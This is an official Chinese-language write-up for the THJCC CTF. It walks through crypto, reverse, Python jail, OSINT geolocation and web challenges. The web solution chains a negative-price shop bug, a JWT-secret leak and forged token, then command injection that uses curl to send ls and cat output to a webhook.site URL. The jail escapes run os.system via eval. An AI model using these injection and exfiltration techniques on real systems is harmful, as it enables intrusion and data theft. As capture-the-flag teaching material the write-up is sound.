# THJCC CTF official writeup {%hackmd M1bgOPoiQbmM0JRHWaYA1g %} > Author:堇姬Naup Source Code : https://github.com/Naupjjin/THJCC-CTF-source-code # Crypto ## JPG^PNG=? ### source ```python= from itertools import cycle def xor(a, b): return [i^j for i, j in zip(a, cycle(b))] KEY= open("key.png", "rb").read() FLAG = open("flag.jpg", "rb").read() key=[KEY[0], KEY[1], KEY[2], KEY[3], KEY[4], KEY[5], KEY[6], KEY[7]] enc = bytearray(xor(FLAG,key)) open('enc.txt', 'wb').write(enc) ``` 他將png作為key跟一張.jpg前8位做xor運算 但我們知道png前8位是固定的所以就再做一次xor就可以了 [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A] ### solve ```python= from PIL import Image from itertools import cycle def xor(a, b): return bytes(i^j for i, j in zip(a, cycle(b))) enc_data = open('enc.txt', 'rb').read() key = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A] decrypted_data = xor(enc_data, key) open('decrypted_image.png', 'wb').write(decrypted_data) ``` ![flag](https://hackmd.io/_uploads/rkiLaYcZA.jpg) > THJCC{IM3_X52_a4dc133un_sta2t} ## 《SSS.GRIDMAN》 ### source ```python= import numpy import random import os from FLAG import FLAG poly_enc = [] def random_ploy(): poly=[] for i in range(2): poly.append(random.randint(99,999)) return poly def random_x(): random_list=[i for i in range(100,999)] x_list=[] for i in range(3): choice=random.choice(random_list) x_list.append(choice) random_list.remove(choice) return x_list def encrypt_secret(poly,x_list): share_list=[] for x in x_list: share=(x,int(poly(x))) share_list.append(share) print('share:',share_list) try: WELCOME=''' ________________ ________ _______ __ ______ _ / __/ __/ __// ___/ _ \/ _/ _ \/ |/ / _ | / |/ / _\ \_\ \_\ \_/ (_ / , _// // // / /|_/ / __ |/ / /___/___/___(_)___/_/|_/___/____/_/ /_/_/ |_/_/|_/ ''' print(WELCOME) print("I don't remember anything.But one day, I looks a word \"GRIDMAN\".\nI want to know what is \"GRIDMAN\"") print("I find this computer.It may have secret about \"GRIDMAN\"") secret=os.urandom(4) secret=int.from_bytes(secret, byteorder='big') polyc =random_ploy() polyc.append(secret) poly_enc = numpy.poly1d(polyc) print("-"*20) encrypt_secret(poly_enc,random_x()) print("Do you know PASSWORD?") print("-"*20) input_secret_num=int(input("PASSWORD? ")) if input_secret_num==secret: print("This is SECRET") print(FLAG) else: print("end...") exit() except: print("error...") exit() ``` 他創建了一個二次函數($a,b$為隨機數字) $ax^2+bx+secret$ 再來他會隨機生成$x_1,x_2,x_3$並帶入二次函數並告訴你結果是多少,以及他輸入的是多少 $ax_1^2+bx_1+secret$ $ax_2^2+bx_2+secret$ $ax_3^2+bx_3+secret$ 最後寫出來會是個三元一次方程式,並且有三條式子,所以我們就可以解聯立方程來找出secret 輸入正確的secret就可以拿到flag ### script ```python= import numpy as np coefficients = np.array([[252**2, 252, 1], [632**2, 632, 1], [974**2, 974, 1]] ) constants = np.array([544642371, 617037691, 735282139]) solution = np.linalg.solve(coefficients, constants) print("root:", solution) ``` > THJCC{SSS_1s_a_c001_w2y_t0_pr0t3c7_s3c23t} # Reverse ## PYC REVERSE 給你一個msg檔案跟.pyc,嘗試用線上工具逆.pyc https://tool.lu/en_US/pyc/ ```python= #!/usr/bin/env python # visit https://tool.lu/pyc/ for more information # Version: Python 3.10 from FLAG import FLAG from Crypto.Util.number import bytes_to_long def xor1(flag): return flag ^ 124789 def xor2(flag): return flag ^ 487531 def xor3(flag): return flag ^ 784523 def xor4(flag): return flag ^ 642871 def xor5(flag): return flag ^ 474745 flag = bytes_to_long(FLAG) count = 0 count += 1 if count == 1: flag = xor1(flag) count += 2 if count == 3: flag = xor2(flag) count += 1 if count == 4: flag = xor3(flag) count -= 2 else: flag = xor2(flag) count += 1 else: flag = xor3(flag) count += 5 if count == 2: flag = xor4(flag) elif count == 6: flag = xor5(flag) print(flag) ``` 做了很多xor運算 因為xor兩次相同東西會消掉,所以就看他xor了甚麼再做一次就好了 ### script ```python= from Crypto.Util.number import long_to_bytes def xor1(flag): return flag ^ 124789 def xor2(flag): return flag ^ 487531 def xor3(flag): return flag ^ 784523 def xor4(flag): return flag ^ 642871 def xor5(flag): return flag ^ 474745 flag=10730390416708814647386325276467849806006354580175878786363505755256613965929606057246313695 flag=xor1(xor2(xor3(xor4(flag)))) print(long_to_bytes(flag)) ``` # Misc ## PyJail-0 ### source ```python= WELCOME=''' ____ _ _ _ | _ \ _ _ | | __ _(_) | | |_) | | | |_ | |/ _` | | | | __/| |_| | |_| | (_| | | | |_| \__, |\___/ \__,_|_|_| |___/ ''' def main(): print("-"*30) print(WELCOME) print("-"*30) print("Try to escape!!This is a jail") a=input("> ") eval(a) if __name__ == '__main__': main() ``` 會把我們的輸入送到eval裡面 我們知道python裡面有很多magic function 可以用python的magic function ``` __import__('os').system('ls') ``` 相當於 ```python= import os os.system('ls ~') ``` 最後在 ``` __import__('os').system('cat flag.txt') ``` 就可以cat flag了 > THJCC{Use_M2g1c_f2un3ti0n_in_P9Ja1l!!} ## PyJail-1 ### source ```python= WELCOME=''' ____ _ _ _ | _ \ _ _ | | __ _(_) | | |_) | | | |_ | |/ _` | | | | __/| |_| | |_| | (_| | | | |_| \__, |\___/ \__,_|_|_| |___/ ''' def main(): try: print("-"*30) print(WELCOME) print("-"*30) print("Try to escape!!This is a jail") print("I increased security!!!") a=input("> ") if len(a)<15: eval(a) else: print("Don't escape!!") except: print("error") exit() if __name__ == '__main__': main() ``` 這次加上了長度限制15字 但其實很好繞 如果我輸入 ``` eval(input()) ``` 他會先讓`eval(input())`被當程式碼執行,這樣子就跟第一題一樣了,因為你的input,會直接進到eval ``` __import__("os").system("ls") __import__('os').system('cat flag.txt') ``` > THJCC{Inp3t_b9p2sss_lim1t_1n+p3j2i1!} ## Geoguesser??? 給了你一個twitter帳號連結 https://twitter.com/rrharil0302/status/1776462043761238290 他要你找出圖中的補習班經緯度 首先你觀察一下會發現上面有一組電話號碼 ![image](https://hackmd.io/_uploads/ByN0PKq-A.png) 直接搜 0790632758 會找到這家補習班 https://ivry.jp/telsearch/0790632758/ ![image](https://hackmd.io/_uploads/SktVuF5ZC.png) 去google map搜就可以找到經緯度了 ``` 兵庫県宍粟市山崎町鹿沢68−6 ``` ![image](https://hackmd.io/_uploads/rkod_t5ZC.png) > THJCC{35.0039_134.5426} ## I want to go to Japan! 一樣是一個twitter帳號 https://twitter.com/rrharil0302/status/1782034885626188150 給了一張 ![螢幕擷取畫面 2024-04-27 221808](https://hackmd.io/_uploads/rJvEtt5b0.png) 嘗試去搜尋他找到 https://twitter.com/YUNOHAMA_hotel/status/1765316443543937478 找到這個溫泉後 搜`湯の浜ホテル 神社` 找到了https://onsen-musume.jp/news/7322 知道是倉湯神社 直接去wiki上找就找到經緯度了 > THJCC{41.782_140.791} # Insane ## FFAM(Find Flag Automaticaliiy Machine) 首先進到頁面會看到一個頁面,他會報RAM不夠的問題,並且他有提示你,`If you want to use small shell, you can go to /webshell ` ![image](https://hackmd.io/_uploads/B1055RobA.png) 先去分析source code ![image](https://hackmd.io/_uploads/HJpQ1JnWC.png) 去看 `server.py` 首先看到了關於session跟JWT相關的,session secret key非常大,顯然沒辦法偽造。 另外我們知道JWT的Secret Key存在`ASECRETKEY.txt` ![image](https://hackmd.io/_uploads/SJ79JJ3-0.png) 設定了一個cookie,叫做`YourToKeNinShop` ![image](https://hackmd.io/_uploads/H13NbynWR.png) 這是一個處理買賣的route,你可以發現到這裡有一個商品較RAM需要驗證你的JWT,並且可以注意到,他可以輸入負數,來讓你的錢變多。 ![image](https://hackmd.io/_uploads/SyYezkh-C.png) 這裡表示了你需要拿到三個RAM讓你的RAM足夠才可以使用 ![image](https://hackmd.io/_uploads/SyWYMynbR.png) 還有兩個shell,一個可以直接打開,一個則要有三個RAM才可以使用 ![image](https://hackmd.io/_uploads/Bkb-71n-R.png) ![image](https://hackmd.io/_uploads/SyPEQk3ZA.png) 首先我們首要目標是買到三個RAM,所以我先去商店看看(`/ShopAboutComputerEquipment`) ![image](https://hackmd.io/_uploads/r1P1VJn-C.png) 確實有賣RAM,但有兩個問題 - 錢不夠 - 權限不夠(要繞過JWT驗證) 錢不夠可以用輸入負數,來增加錢 ![image](https://hackmd.io/_uploads/rJCbBy3Z0.png) 接下來要偽造JWT,但我要怎麼leak secret key 或許可以嘗試利用第一個shell 但他有一些限制,他過濾掉了很多字符以及限制你只能使用五個字 ![image](https://hackmd.io/_uploads/BkyU812W0.png) 這裡你會發現有個方法,因為你的`ASECRETKEY.txt`,是文字檔,並且觀察一下他會是第一個檔案 所以你如果嘗試去執行他+通配符,就可以leak 內容 $0 -> /bin/sh ``` $0 * ``` ![image](https://hackmd.io/_uploads/S1uaFJ2-A.png) ``` asajwjklkfjsiogljkqlskqjhejmslzotejejwlsllhkfjazxaaaiqpoiooriwjsxsdafjipwei ``` 再來就是偽造JWT了 ```python= import jwt key=b'asajwjklkfjsiogljkqlskqjhejmslzotejejwlsllhkfjazxaaaiqpoiooriwjsxsdafjipwei' data = {'id': 1, 'role': "Naup"} token = jwt.encode(data, key, algorithm='HS256') print(token) ``` JWT token ``` eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6Ik5hdXAifQ.va7XuRq8UZjwm4AbIc1YQm1HUPKJUMBWhposWRQMoGw ``` 就可以買到三個RAM了 ![image](https://hackmd.io/_uploads/rJvSTynb0.png) 接下來就可以連到 ![image](https://hackmd.io/_uploads/SJvnJl3-0.png) 他一樣有很多的過濾,並會把你輸入的東西放到`cat <放到這裡>.txt`並執行(並且你不知道flag的檔名,所以要先ls) ![image](https://hackmd.io/_uploads/r12CNl2ZA.png) 這邊使用`curl`來把印出的東西送到`webhook` ``` $(curl https://webhook.site/a1c996f6-5e0b-44f7-b6c0-14c76091d85c -X POST -d "$(ls)") $(curl https://webhook.site/a1c996f6-5e0b-44f7-b6c0-14c76091d85c -X POST -d "$(cat flag-asdq45a8we633a2df56aq.py)") ``` ![image](https://hackmd.io/_uploads/HkdH_gnWA.png) ![image](https://hackmd.io/_uploads/By6LOl3-C.png) > THJCC{F1nd_F1ag_2ut0m2t1c_mach1n3!!!}